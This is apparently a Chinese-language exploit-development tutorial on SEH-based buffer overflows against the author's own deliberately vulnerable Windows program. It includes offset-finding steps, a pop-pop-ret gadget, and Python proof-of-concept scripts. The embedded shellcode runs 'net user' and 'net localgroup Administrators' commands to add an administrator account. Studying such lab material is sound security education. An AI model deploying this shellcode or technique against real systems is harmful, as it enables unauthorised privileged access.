基于 SEH 的 Exploit -exploit with SEH

by Netfairy - 2015-07-28

0x00 前言

SEH("Structured Exception Handling"),即结构化异常处理·是(windows)操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。本篇文章我使用自己写的程序来演示缓冲区溢出SEH利用思路。程序代码如下

#include<windows.h>
#include<string.h>
#include<stdio.h>
void test(char *str)
{
	char buf[8];
	strcpy(buf,str);

}

int main()
{
	LoadLibrary("Netfairy.dll");

	FILE *fp;
    char str[30000];
    if((fp=fopen("C:\\Users\\Administrator\\Desktop\\test.txt","r"))==NULL)
	{
        printf("\nFile can not open!");
        getchar();
        exit(0);
    }
	for(int i=0;;i++)
	{
		if(!feof(fp))
		{
        str[i]=fgetc(fp);
		}
		else
		{
			break;
		}
	}
	test(str);

	fclose(fp);
    getchar();
	return 0;
}

0x01 尝试崩溃

当我们拿到一个软件,正常情况下,我们先试试能不能溢出利用它。利用下面代码试试

filename="C:\\Users\\Administrator\\Desktop\\test.txt"#待写入的文件名

myfile=open(filename,'w')  #以写方式打开文件

filedata="A"*50000 #待写入的数据

myfile.write(filedata)  #写入数据

myfile.close()  #关闭文件

这里产生50000个A,然后用windbg打开程序,执行

>g

命令。发生异常

1.png


接着执行 

>!exchain

命令查看SEH链

2.png

我们可以看到 Pointer to next SEH record 已经被覆盖为AAAA,这说明我们有可能控制SE handler 从而去执行我们的SHLLCODE。是的,仅仅是有可能而已。


0x02 定位溢出点

首先我们用mona.py插件产生50000个定位字符

!mona pattern_create 5000


然后把patttern.txt改名为test.txt替换原test.txt。直接运行我们的程序,崩溃,ImmunityDebugger跟进之。我们看到地址0x18ff78被

覆盖为4Mn5,然后执行

!mona pattern_offset 4Mn5
3.png


所以我们可以知道覆盖20280+9764个字节可以覆盖到Pointer to next SEH record(实际上并不是这么精确),至于为什么要加20280,这个自己琢磨。所以我们把py改成下面这样

filename="C:\\Users\\Administrator\\Desktop\\test.txt"#待写入的文件名

myfile=open(filename,'w')  #以写方式打开文件

filedata="A"*30044 #待写入的数据

myfile.write(filedata)  #写入数据

myfile.close()  #关闭文件
异常后跟进,看


4.png

发现还差20字节。把这句

filedata="A"*30044 #待写入的数据  改成  filedata="A"*30064 #待写入的数据。ok,定位完成。


0x03 开始利用

seh利用的格式是

填充物+"\xEB\x06\x90\x90" +pop pop retn指令序列地址+shellcode
shellcode我们有了


//添加用户shellcode
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
还差pop pop retn序列就行了,其实我觉得最难的就是找pop pop retn序列,如果在xp下倒不是什么问题,win7以上微软加入了各种安全保护措施,如safeseh。这就是为什么前面程序代码中我加入了


LoadLibrary("Netfairy.dll");
因为系统的dll基本上都有safeseh,所以我们需要找到一个没有safeseh的模块,它就是Netfairy.dll,并且这个模块有pop pop retn 序列。


至于怎么在Netfairy.dll查找pop pop retn序列我不讲。这里我找到的一个是

50021344   5E               POP ESI
50021345   5B               POP EBX
50021346   C3               RETN
所以,完整的exploit是这样


filename="C:\\Users\\Administrator\\Desktop\\test.txt"#待写入的文件名

myfile=open(filename,'w')  #以写方式打开文件

filedata="A"*30044+"\xEB\x06\x90\x90"+"\x44\x13\x02\x50"+\
      "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7" #待写入的数据

myfile.write(filedata)  #写入数据

myfile.close()  #关闭文件
5.png



perfect!!!我们看到了50021344,还有我们的shellcode。然而,先高兴太早,请你先仔细看。我们的shellcode难道这么短?不我数了一下我的shellcode是194个字节,你再数数这里,少于194字节对不?那就说说我们的shellcode被破坏了。缓冲区太短了,我们的shellcode放不下。那怎么办,换个短到合适的?但是我手头没有,于是,想到了跳转,没错。前面我们不是填充了30044个A吗?那里有大把的空间啊,我们为何不把shellcode放在那里?然后在0x18ff80这里加个跳转,跳到前面的shellcode,那不就解决了。至于具体怎么弄我就不写了,这个自己琢磨琢磨,我附上我的POC

*******************************************************************************************
**                       author: www.netfairy.net                                       ***
*******************************************************************************************

filename="C:\\Users\\Administrator\\Desktop\\test.txt"#待写入的文件名

myfile=open(filename,'w')  #以写方式打开文件

filedata="A"*29770+"\x90"*100+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"+\
      "\xEB\x06\x90\x90"+"\x44\x13\x02\x50"\
      "\xe9\x03\xff\xff\xff"                                                 #0018FF80   E9 03FFFFFF      JMP 0018FE88 

myfile.write(filedata)  #写入数据                                            

myfile.close()  #关闭文件

6.png

可见溢出成功,执行了我们的shellcode,成功添加用户。


0x04 参考

Exploit编写系列教程第三篇a_基于SEH的Exploit,由看雪论坛翻译组翻译。

-DM博客:http://x0day.me/index.php/archives/seh-based-exploit.html

还有感谢冉学长